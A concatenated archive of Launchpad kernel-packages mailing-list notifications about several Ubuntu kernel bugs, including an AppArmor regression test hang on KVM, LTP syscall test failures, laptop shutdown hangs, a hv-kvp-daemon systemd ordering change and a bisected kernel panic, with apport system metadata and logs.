[Kernel-packages] [Bug 1783922] Re: ubuntu_qrt_apparmor will hang with Bionic kernel on KVM instance
Hi Po-Hsu, Alas, I'm not able to reproduce this in a kvm guest with only 768k: Ran 56 tests in 1026.130s OK ubuntu@sec-bionic-amd64:~/tests/qrt-test-apparmor$ free -m totalusedfree shared buff/cache available Mem:733 543 59 0 130 84 Swap: 947 65 882 ubuntu@sec-bionic-amd64:~/tests/qrt-test-apparmor$ cat /proc/version_signature Ubuntu 4.15.0-29.31-generic 4.15.18 Host kernel is also running 4.15.0-29.31-generic. Is it possible one of the prior tests is running longer? Do the kernel- team's tests still build the entire kernel and modules before starting on the tests? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783922 Title: ubuntu_qrt_apparmor will hang with Bionic kernel on KVM instance Status in QA Regression Testing: New Status in linux package in Ubuntu: Confirmed Bug description: This test will timeout on a KVM instance (1G ram) with Bionic kernel. This is the last test executed on this system: Jul 26 10:10:54 zeppo kernel: [ 2140.591600] audit: type=1400 audit(1532599854.772:275036): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/tmp/testlibJOdhfr/source/bionic/apparmor-2.12/tests/regression/apparmor/mmap" pid=24072 comm="apparmor_parser" Run parser regression tests ... (Applying patch 0001-mount-regression-test-convert-mount-test-to-use-MS_N.patch) (Applying patch utils-fix-interpreter-testcase-for-multiple-symlinks.patch) ok test_regression_testsuite (__main__.ApparmorTestsuites) preparing apparmor_2.12-4ubuntu5.dsc... done Timer expired (10800 sec.), nuking pid 20299 $ watch free -m totalusedfree shared buff/cache available Mem:985 445 72 0 467 355 Swap: 1443 71436 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: User Name 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jul 26 09:35 seq crw-rw 1 root audio 116, 33 Jul 26 09:35 timer AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay' ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 'arecord' AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: Date: Fri Jul 27 02:28:52 2018 IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig': 'iwconfig' Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub MachineType: QEMU Standard PC (i440FX + PIIX, 1996) PciMultimedia: ProcFB: ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=41f2a2b1-0082-4a56-ad3b-9f99ca574aeb ro RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 RfKill: Error: [Errno 2] No such file or directory: 'rfkill': 'rfkill' SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/01/2014 dmi.bios.vendor: SeaBIOS dmi.bios.version: Ubuntu-1.8.2-1ubuntu1 dmi.chassis.type: 1 dmi.chassis.vendor: QEMU dmi.chassis.version: pc-i440fx-xenial dmi.modalias: dmi:bvnSeaBIOS:bvrUbuntu-1.8.2-1ubuntu1:bd04/01/2014:svnQEMU:pnStandardPC(i440FX+PIIX,1996):pvrpc-i440fx-xenial:cvnQEMU:ct1:cvrpc-i440fx-xenial: dmi.product.name: Standard PC (i440FX + PIIX, 1996) dmi.product.version: pc-i440fx-xenial dmi.sys.vendor: QEMU To manage notifications about this bug go to: https://bugs.launchpad.net/qa-regression-testing/+bug/1783922/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1322068] Re: [Clevo W253EU] Turn on bluetooth with Fn+F12 not working
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1322068 Title: [Clevo W253EU] Turn on bluetooth with Fn+F12 not working Status in linux package in Ubuntu: Expired Bug description: With my Clevo W253EU laptop, after installing Ubuntu 14.04 LTS, I cannot turn on Bluetooth with Fn+F12 as usual. I have tested other versions of Ubuntu the results are: Ubuntu 12.04.LTS it works Ubuntu 12.04.1 LTS it works Ubuntu 12.04.2 LTS it works Ubuntu 12.04.3 LTS it does not working Ubuntu 12.04.4 LTS it does not working Upstream post: http://marc.info/?l=linux-acpi=142227943520605=2 ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: linux-image-3.13.0-24-generic 3.13.0-24.47 ProcVersionSignature: Ubuntu 3.13.0-24.47-generic 3.13.9 Uname: Linux 3.13.0-24-generic x86_64 ApportVersion: 2.14.1-0ubuntu3 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: sibold 1910 F pulseaudio CurrentDesktop: Unity Date: Thu May 22 09:31:55 2014 HibernationDevice: RESUME=UUID=135e9bbf-c0ff-411b-a1d8-e28de2b970ab InstallationDate: Installed on 2014-05-17 (4 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) MachineType: CLEVO CO. W240EU/W250EUQ/W270EUQ ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-24-generic root=UUID=88147625-e531-4dd3-a5a1-fe593a977841 ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-3.13.0-24-generic N/A linux-backports-modules-3.13.0-24-generic N/A linux-firmware 1.127.2 RfKill: 0: phy0: Wireless LAN Soft blocked: no Hard blocked: no SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/09/2013 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 4.6.5 dmi.board.asset.tag: Tag 12345 dmi.board.name: W240EU/W250EUQ/W270EUQ dmi.board.vendor: CLEVO CO. dmi.board.version: V3.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr4.6.5:bd05/09/2013:svnCLEVOCO.:pnW240EU/W250EUQ/W270EUQ:pvrNotApplicable:rvnCLEVOCO.:rnW240EU/W250EUQ/W270EUQ:rvrV3.0:cvnNoEnclosure:ct10:cvrN/A: dmi.product.name: W240EU/W250EUQ/W270EUQ dmi.product.version: Not Applicable dmi.sys.vendor: CLEVO CO. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1322068/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783877] Re: ltp-syscalls: sgid inheritance for non-directories behavior changed
** Also affects: ubuntu-kernel-tests Importance: Undecided Status: New -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783877 Title: ltp-syscalls: sgid inheritance for non-directories behavior changed Status in ubuntu-kernel-tests: New Status in linux package in Ubuntu: Confirmed Status in linux source package in Cosmic: Confirmed Bug description: ltp syscalls open10 and and creat08 try to create an sgid executable file inside a sgid directory owned by a group whose members do not include the process user. That used to work up to commit 0fa3ecd87848c9c93c2c828ef4c3a8ca36ce46c7 ("Fix up non-directory creation in SGID directories"). This was backported to 4.17.9 and so affects the current kernel in cosmic proposed, and breaks such ltp tests. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1783877/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783880] Re: ltp-syscalls: fallocate05 fails with btrfs on ppc64el
** Also affects: ubuntu-kernel-tests Importance: Undecided Status: New -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783880 Title: ltp-syscalls: fallocate05 fails with btrfs on ppc64el Status in ubuntu-kernel-tests: New Status in linux package in Ubuntu: Confirmed Status in linux source package in Bionic: Confirmed Status in linux source package in Cosmic: Confirmed Bug description: This affects at least bionic and cosmic proposed kernels. This affects only ppc64el. My guess is the reason is the page size. In fact, changing the fallocate size to 64KiB, the test works. tst_test.c:1079: INFO: Testing on btrfs tst_mkfs.c:83: INFO: Formatting /dev/loop1 with btrfs opts='' extra opts='' tst_test.c:1018: INFO: Timeout per run is 0h 05m 00s tst_fill_fs.c:41: INFO: Creating file mntpoint/file0 size 21710183 tst_fill_fs.c:41: INFO: Creating file mntpoint/file1 size 8070086 tst_fill_fs.c:41: INFO: Creating file mntpoint/file2 size 3971177 tst_fill_fs.c:41: INFO: Creating file mntpoint/file3 size 36915315 tst_fill_fs.c:41: INFO: Creating file mntpoint/file4 size 70310993 tst_fill_fs.c:41: INFO: Creating file mntpoint/file5 size 4807935 tst_fill_fs.c:41: INFO: Creating file mntpoint/file6 size 90739786 tst_fill_fs.c:61: INFO: write(): ENOSPC fallocate05.c:62: PASS: write() wrote 32768 bytes fallocate05.c:71: PASS: fallocate() on full FS: ENOSPC fallocate05.c:78: BROK: fallocate(FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE): ENOSPC To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1783880/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783881] Re: ltp-syscalls: msgstress03 fails because systemd limits number of processes
** Also affects: ubuntu-kernel-tests Importance: Undecided Status: New -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783881 Title: ltp-syscalls: msgstress03 fails because systemd limits number of processes Status in ubuntu-kernel-tests: New Status in linux package in Ubuntu: Incomplete Status in systemd package in Ubuntu: New Status in linux source package in Cosmic: Incomplete Status in systemd source package in Cosmic: New Bug description: As systemd limits the number of processes, this test will fail because it can't fork enough processes. That is limited to when the test is run after logging as user 1000, then running sudo. I guess that logging as root may not cause this to happen. # ./testcases/bin/msgstress03 Fork failed (may be OK if under stress) Fork failed (may be OK if under stress) msgstress031 TFAIL : msgstress03.c:157: Fork failed (may be OK if under stress) # To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1783881/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1594023] Re: Poweroff or reboot hangs. Laptop won't shutdown. 16.04
I should also mention that I'm using a Samsung 850 SSD. I'm new to debugging linux so let me know if there's any more useful information I can provide. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1594023 Title: Poweroff or reboot hangs. Laptop won't shutdown. 16.04 Status in linux package in Ubuntu: Confirmed Bug description: This is about a fresh Ubuntu 16.04 install on a new laptop (asus x540sa). After pressing the shutdown button in the start menu; the shutdown procedure starts and in the final splash screen the system just hangs. Tried a second time by pressing Esc once the splash screen showed up and I saw that it reaches the line "Reached target shutdown" and just stops there, no matter how long I leave it there the machine won't turn off. I also tried a Kubuntu 16.04 fresh install on the same machine and it hanged too at the final splash screen where the pulsating logo stopped. Then I tried with Esc only to see the exact same line in the end. The issue seems to affect lately quite many users as shown by the google results of the past month / week or so. I have also tried shutting down from the console with shutdown -and all the parameters after that suggested online- and sudo poweroff but unfortunately they didn't do the trick. The exact same situation occurred. Unmounting the swap as suggested online doesn't work. Also rebooting the system is not working either due to the same issue. So right now the only way for me to poweroff the machine is to press the power button on the keyboard continuously. Reproducible: Always Steps to Reproduce: 1.Install OS 2.Do something, anything or nothing 3.Try to shutdown or reboot Actual Results: The computer is not shutting down: "Reached target shutdown" and hangs there. Expected Results: Powering off the machine. For what it's worth, closing the lid won't suspend the system, but using the menu buttons for suspension will do it. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1594023/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1594023] Re: Poweroff or reboot hangs. Laptop won't shutdown. 16.04
This bug exists with no workaround on the following Lubuntu installation: Version: Ubuntu 16.04.5 LTS Kernel: 4.15.0-29-generic -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1594023 Title: Poweroff or reboot hangs. Laptop won't shutdown. 16.04 Status in linux package in Ubuntu: Confirmed Bug description: This is about a fresh Ubuntu 16.04 install on a new laptop (asus x540sa). After pressing the shutdown button in the start menu; the shutdown procedure starts and in the final splash screen the system just hangs. Tried a second time by pressing Esc once the splash screen showed up and I saw that it reaches the line "Reached target shutdown" and just stops there, no matter how long I leave it there the machine won't turn off. I also tried a Kubuntu 16.04 fresh install on the same machine and it hanged too at the final splash screen where the pulsating logo stopped. Then I tried with Esc only to see the exact same line in the end. The issue seems to affect lately quite many users as shown by the google results of the past month / week or so. I have also tried shutting down from the console with shutdown -and all the parameters after that suggested online- and sudo poweroff but unfortunately they didn't do the trick. The exact same situation occurred. Unmounting the swap as suggested online doesn't work. Also rebooting the system is not working either due to the same issue. So right now the only way for me to poweroff the machine is to press the power button on the keyboard continuously. Reproducible: Always Steps to Reproduce: 1.Install OS 2.Do something, anything or nothing 3.Try to shutdown or reboot Actual Results: The computer is not shutting down: "Reached target shutdown" and hangs there. Expected Results: Powering off the machine. For what it's worth, closing the lid won't suspend the system, but using the menu buttons for suspension will do it. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1594023/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1739107] Re: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service
verified, all works. could you please help "submitting to kernel-team ML", through I do not know what does it mean :) maybe it's a process before merging the PRs :) ** Changed in: linux (Ubuntu) Assignee: Andy (andyliuliming) => (unassigned) ** Changed in: linux (Ubuntu Xenial) Assignee: Andy (andyliuliming) => (unassigned) ** Changed in: linux (Ubuntu Zesty) Assignee: Andy (andyliuliming) => (unassigned) ** Changed in: linux (Ubuntu Bionic) Assignee: Andy (andyliuliming) => (unassigned) ** Changed in: linux (Ubuntu Artful) Assignee: Andy (andyliuliming) => (unassigned) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1739107 Title: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service Status in linux package in Ubuntu: In Progress Status in linux source package in Xenial: In Progress Status in linux source package in Zesty: In Progress Status in linux source package in Artful: In Progress Status in linux source package in Bionic: In Progress Bug description: This is a request to make a change in the hv-kvp-daemon systemd service which is part of the linux-cloud-tools-common package to ensure the hv-kvp-daemon service starts before the walinuxagent service. The default dependencies make hv-kvp-daemon wait until the whole system is up before it can start. Currently the /lib/systemd/system/hv-kvp-daemon.service file looks like this: # On Azure/Hyper-V systems start the hv_kvp_daemon # # author "Andy Whitcroft " [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft [Service] ExecStart=/usr/sbin/hv_kvp_daemon -n [Install] WantedBy=multi-user.target The suggested modification is to make the [Unit] section look like this: [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft DefaultDependencies=no After=systemd-remount-fs.service Before=shutdown.target cloud-init-local.service walinuxagent.service Conflicts=shutdown.target RequiresMountsFor=/var/lib/hyperv The hv-kvp-daemon service is not currently part of the critical-chain: $ systemd-analyze critical-chain The time after the unit is active or started is printed after the "@" character. The time the unit takes to start is printed after the "+" character. graphical.target @10.809s └─multi-user.target @10.723s └─ephemeral-disk-warning.service @10.538s +31ms └─cloud-config.service @8.249s +2.252s └─basic.target @8.044s └─sockets.target @8.019s └─snapd.socket @7.692s +264ms └─sysinit.target @6.719s └─cloud-init.service @5.803s +842ms └─networking.service @5.137s +612ms └─network-pre.target @5.074s └─cloud-init-local.service @2.257s +2.783s └─systemd-remount-fs.service @1.368s +656ms └─systemd-journald.socket @1.218s └─-.mount @649ms └─system.slice @653ms └─-.slice @649ms In an Azure VM, the current startup time of my test is: $ systemd-analyze Startup finished in 10.375s (kernel) + 12.352s (userspace) = 22.728s After making the suggested change, the startup time is similar: $ systemd-analyze Startup finished in 9.759s (kernel) + 11.867s (userspace) = 21.627s And the service is now in the critical-chain: $ systemd-analyze critical-chain The time after the unit is active or started is printed after the "@" character. The time the unit takes to start is printed after the "+" character. graphical.target @10.666s └─multi-user.target @10.636s └─ephemeral-disk-warning.service @10.556s +36ms └─cloud-config.service @8.423s +2.095s └─basic.target @8.124s └─sockets.target @8.101s └─lxd.socket @7.677s +326ms └─sysinit.target @6.755s └─cloud-init.service @5.814s +908ms └─networking.service @5.111s +651ms └─network-pre.target @5.087s └─cloud-init-local.service @2.345s +2.707s └─hv-kvp-daemon.service @2.316s └─systemd-remount-fs.service @1.253s +680ms └─system.slice @1.225s └─-.slice @650ms The ConditionVirtualization=microsoft line makes it so that this doesn't affect non microsoft virtualization environments (ie. qemu, kvm, vmware, xen, etc.) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1739107/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783922] Status changed to Confirmed
This change was made by a bot. ** Changed in: linux (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783922 Title: ubuntu_qrt_apparmor will hang with Bionic kernel on KVM instance Status in QA Regression Testing: New Status in linux package in Ubuntu: Confirmed Bug description: This test will timeout on a KVM instance (1G ram) with Bionic kernel. This is the last test executed on this system: Jul 26 10:10:54 zeppo kernel: [ 2140.591600] audit: type=1400 audit(1532599854.772:275036): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/tmp/testlibJOdhfr/source/bionic/apparmor-2.12/tests/regression/apparmor/mmap" pid=24072 comm="apparmor_parser" Run parser regression tests ... (Applying patch 0001-mount-regression-test-convert-mount-test-to-use-MS_N.patch) (Applying patch utils-fix-interpreter-testcase-for-multiple-symlinks.patch) ok test_regression_testsuite (__main__.ApparmorTestsuites) preparing apparmor_2.12-4ubuntu5.dsc... done Timer expired (10800 sec.), nuking pid 20299 $ watch free -m totalusedfree shared buff/cache available Mem:985 445 72 0 467 355 Swap: 1443 71436 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: User Name 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jul 26 09:35 seq crw-rw 1 root audio 116, 33 Jul 26 09:35 timer AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay' ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 'arecord' AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: Date: Fri Jul 27 02:28:52 2018 IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig': 'iwconfig' Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub MachineType: QEMU Standard PC (i440FX + PIIX, 1996) PciMultimedia: ProcFB: ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=41f2a2b1-0082-4a56-ad3b-9f99ca574aeb ro RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 RfKill: Error: [Errno 2] No such file or directory: 'rfkill': 'rfkill' SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/01/2014 dmi.bios.vendor: SeaBIOS dmi.bios.version: Ubuntu-1.8.2-1ubuntu1 dmi.chassis.type: 1 dmi.chassis.vendor: QEMU dmi.chassis.version: pc-i440fx-xenial dmi.modalias: dmi:bvnSeaBIOS:bvrUbuntu-1.8.2-1ubuntu1:bd04/01/2014:svnQEMU:pnStandardPC(i440FX+PIIX,1996):pvrpc-i440fx-xenial:cvnQEMU:ct1:cvrpc-i440fx-xenial: dmi.product.name: Standard PC (i440FX + PIIX, 1996) dmi.product.version: pc-i440fx-xenial dmi.sys.vendor: QEMU To manage notifications about this bug go to: https://bugs.launchpad.net/qa-regression-testing/+bug/1783922/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783922] [NEW] ubuntu_qrt_apparmor will hang with Bionic kernel on KVM instance
Public bug reported: This test will timeout on a KVM instance (1G ram) with Bionic kernel. This is the last test executed on this system: Jul 26 10:10:54 zeppo kernel: [ 2140.591600] audit: type=1400 audit(1532599854.772:275036): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/tmp/testlibJOdhfr/source/bionic/apparmor-2.12/tests/regression/apparmor/mmap" pid=24072 comm="apparmor_parser" Run parser regression tests ... (Applying patch 0001-mount-regression-test-convert-mount-test-to-use-MS_N.patch) (Applying patch utils-fix-interpreter-testcase-for-multiple-symlinks.patch) ok test_regression_testsuite (__main__.ApparmorTestsuites) preparing apparmor_2.12-4ubuntu5.dsc... done Timer expired (10800 sec.), nuking pid 20299 $ watch free -m totalusedfree shared buff/cache available Mem:985 445 72 0 467 355 Swap: 1443 71436 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: User Name 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jul 26 09:35 seq crw-rw 1 root audio 116, 33 Jul 26 09:35 timer AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay' ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 'arecord' AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: Date: Fri Jul 27 02:28:52 2018 IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig': 'iwconfig' Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub MachineType: QEMU Standard PC (i440FX + PIIX, 1996) PciMultimedia: ProcFB: ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=41f2a2b1-0082-4a56-ad3b-9f99ca574aeb ro RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 RfKill: Error: [Errno 2] No such file or directory: 'rfkill': 'rfkill' SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/01/2014 dmi.bios.vendor: SeaBIOS dmi.bios.version: Ubuntu-1.8.2-1ubuntu1 dmi.chassis.type: 1 dmi.chassis.vendor: QEMU dmi.chassis.version: pc-i440fx-xenial dmi.modalias: dmi:bvnSeaBIOS:bvrUbuntu-1.8.2-1ubuntu1:bd04/01/2014:svnQEMU:pnStandardPC(i440FX+PIIX,1996):pvrpc-i440fx-xenial:cvnQEMU:ct1:cvrpc-i440fx-xenial: dmi.product.name: Standard PC (i440FX + PIIX, 1996) dmi.product.version: pc-i440fx-xenial dmi.sys.vendor: QEMU ** Affects: qa-regression-testing Importance: Undecided Status: New ** Affects: linux (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic uec-images ** Also affects: qa-regression-testing Importance: Undecided Status: New ** Description changed: This test will timeout on a KVM instance (1G ram) with Bionic kernel. This is the last test executed on this system: Jul 26 10:10:54 zeppo kernel: [ 2140.591600] audit: type=1400 audit(1532599854.772:275036): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/tmp/testlibJOdhfr/source/bionic/apparmor-2.12/tests/regression/apparmor/mmap" pid=24072 comm="apparmor_parser" - Run parser regression tests ... (Applying patch 0001-mount-regression-test-convert-mount-test-to-use-MS_N.patch) (Applying patch utils-fix-interpreter-testcase-for-multiple-symlinks.patch) ok - test_regression_testsuite (__main__.ApparmorTestsuites) - preparing apparmor_2.12-4ubuntu5.dsc... done - Timer expired (10800 sec.), nuking pid 20299 + Run parser regression tests ... (Applying patch 0001-mount-regression-test-convert-mount-test-to-use-MS_N.patch) (Applying patch utils-fix-interpreter-testcase-for-multiple-symlinks.patch) ok + test_regression_testsuite (__main__.ApparmorTestsuites) + preparing apparmor_2.12-4ubuntu5.dsc... done + Timer expired (10800 sec.), nuking pid 20299 $ watch free -m - totalusedfree shared buff/cache available + totalusedfree shared buff/cache available Mem:985 445 72 0 467 355 Swap: 1443 71436 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: User Name 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 AlsaDevices: - total 0 - crw-rw 1 root audio 116, 1 Jul 26 09:35 seq - crw-rw 1 root audio 116, 33 Jul 26 09:35 timer + total 0 + crw-rw 1 root audio 116, 1 Jul 26 09:35 seq + crw-rw 1 root audio 116, 33 Jul 26 09:35 timer AplayDevices: Error: [Errno 2] No
[Kernel-packages] [Bug 1783358] Re: Xenial linux 4.15.0-29-generic kernel panic.
I has done a kernel bisection. The bad commit is: [7744ccdbc16f0ac4adae21b3678af93775b3a386] x86/mm: Add Secure Memory Encryption (SME) support -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783358 Title: Xenial linux 4.15.0-29-generic kernel panic. Status in linux package in Ubuntu: Confirmed Bug description: After update to the 4.15.x kernel my system cannot boot. It freezes after grub menu. I tried to boot recovery mode and saw kernel panic. Now my system can boot only on 4.13.x kernel. I tried 4.15.0-25, 4.15.0-24, 4.15.0-23, 4.15.0-22, 4.15.0-20 and had the same results. I saw similar bugs in the bug tracker. So I waiting for updates. I tried the last 4.15.0-29 and had the kernel panic again. --- ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: tolmeros 2890 F pulseaudio CurrentDesktop: XFCE DistroRelease: Ubuntu 16.04 HibernationDevice: RESUME=UUID=0ccbd010-c5a7-46ff-99d8-8cb76586cf04 InstallationDate: Installed on 2018-05-08 (77 days ago) InstallationMedia: Xubuntu 16.04.4 LTS "Xenial Xerus" - Release amd64 (20180228) IwConfig: enp0s25 no wireless extensions. docker0 no wireless extensions. lono wireless extensions. MachineType: Hewlett-Packard HP Compaq dc5800 Microtower Package: linux (not installed) ProcFB: 0 nouveaufb ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-4.13.0-45-generic root=UUID=b96f5dcc-5870-4d8d-a07b-5e797b9bd2fb ro rootflags=subvol=@ quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 4.13.0-45.50~16.04.1-generic 4.13.16 RelatedPackageVersions: linux-restricted-modules-4.13.0-45-generic N/A linux-backports-modules-4.13.0-45-generic N/A linux-firmware 1.157.20 RfKill: 0: hci0: Bluetooth Soft blocked: no Hard blocked: no Tags: xenial Uname: Linux 4.13.0-45-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dialout dip docker lpadmin plugdev pulse-access sambashare sudo _MarkForUpload: True dmi.bios.date: 01/31/2008 dmi.bios.vendor: Hewlett-Packard dmi.bios.version: 786F2 v01.04 dmi.board.name: 2820h dmi.board.vendor: Hewlett-Packard dmi.chassis.type: 6 dmi.chassis.vendor: Hewlett-Packard dmi.modalias: dmi:bvnHewlett-Packard:bvr786F2v01.04:bd01/31/2008:svnHewlett-Packard:pnHPCompaqdc5800Microtower:pvr:rvnHewlett-Packard:rn2820h:rvr:cvnHewlett-Packard:ct6:cvr: dmi.product.family: 103C_53307F dmi.product.name: HP Compaq dc5800 Microtower dmi.sys.vendor: Hewlett-Packard To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783358/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783823] Re: bcmwl-kernel-source 6.30.223.271+bdcom-1longsleep0: bcmwl kernel module failed to build [error: ‘IEEE80211_BAND_2GHZ’ undeclared here (not in a function)]
